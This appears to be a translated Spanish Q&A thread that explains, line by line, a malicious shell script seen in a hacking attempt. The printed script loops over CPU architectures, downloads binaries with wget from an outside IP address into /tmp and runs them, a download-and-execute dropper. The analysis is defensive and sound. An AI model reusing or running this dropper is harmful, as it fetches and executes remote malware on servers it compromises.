GNU/Linux >> Tutoriales Linux >  >> Linux

¿Qué hace este script bash? [Intento de pirateo]

Línea por línea:

#!/bin/sh

Establece el sh shell, cualquiera que sea, como la línea shebang. sh%20/tmp/ks en la solicitud anula esto, por lo que esta línea se trata como un comentario normal y se ignora.

u="asgknskjdgn"

Declara un nombre arbitrario, presumiblemente para evitar colisiones con otros nombres de archivo. No estoy seguro de por qué no usarían simplemente mktemp , pero tal vez eso no esté disponible en todas las plataformas.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Enumera varias arquitecturas de CPU comunes.

http_server="80.211.173.159"
http_port=80

El servidor que tiene el exploit.

cd /tmp/||cd /var/

Intenta cambiar el directorio a algún lugar en el que es probable que su servidor web pueda crear archivos. Creo que SELinux ayudará con esto, imponiendo reglas mucho más estrictas sobre lo que puede hacer el servidor web que lo que hace el sistema de archivos por sí solo.

for name in $bin_names
    do

Para cada arquitectura de CPU...

    rm -rf $u

Elimina los programas de explotación probados anteriormente. Innecesario debido a la siguiente línea, por lo que puede ignorarse.

    cp $SHELL $u

Copia el ejecutable de shell actual (/bin/sh ). Se puede ignorar debido a la línea que sigue a next.

    chmod 777 $u

Hace que todos tengan acceso completo al nuevo archivo. Esto debería haber sido después del wget comando, que es un signo de un novato en scripts de shell o una técnica de desvío.

    >$u

Vacía el archivo. Sin sentido debido a la siguiente línea.

    wget http://$http_server:$http_port/$name -O -> $u

Sobrescribe el archivo con el script de explotación para esta arquitectura. -O -> $u podría haberse escrito -O - > $u (el guión indica que la descarga debe escribirse en la salida estándar) que equivale a -O $u .

    ./$u $name

Ejecuta el script de explotación con la arquitectura como primer argumento.

done

Finaliza el ciclo.

Parece que se trata de un script de intento de explotación trivial, que prueba explotaciones conocidas contra varias plataformas de CPU. No sé por qué sobrescribe $u tres veces, pero esas operaciones podrían ser simplemente restos de una iteración anterior del script. Presumiblemente, la versión anterior tenía los exploits codificados de forma rígida en lugar de servirlos dinámicamente; el primero es más fácil, pero casi garantiza que el script será menos efectivo con el tiempo a medida que se solucionen los errores.


El wget es la línea peligrosa clave.

El for name in $bin_names está trabajando a través de la lista de plataformas y para cada plataforma está limpiando un directorio temporal, copiando un shell y luego haciéndolo accesible para todos.

Luego descarga un archivo usando wget y luego lo ejecuta usando el programa shell que acaba de copiar.

El script básicamente intenta descargar una serie de ejecutables o scripts para todas las plataformas que puede y los frota contra su sistema con la esperanza de que pueda comprometerlo aún más.


Linux
  1. ¿Pasar argumentos de línea de comando a Bash Script?

  2. ¿Qué significa Ampersand al final de una línea de script de Shell?

  3. No puedo entender este guión. golpe?

  4. “e:El subproceso /usr/bin/dpkg devolvió un código de error (1)” ¿Qué significa esto?

  5. ¿Qué significa esta advertencia?

Automatice el procesamiento de imágenes con este script Bash

Use este útil script de Bash cuando observe las estrellas

¿Qué hace 'exec {fd}/watchdog' en Bash?

¿Qué significa `:-` en un script de Shell?

¿Qué indica esta estadística de proceso?

¿Qué hace este script sh si se ejecuta?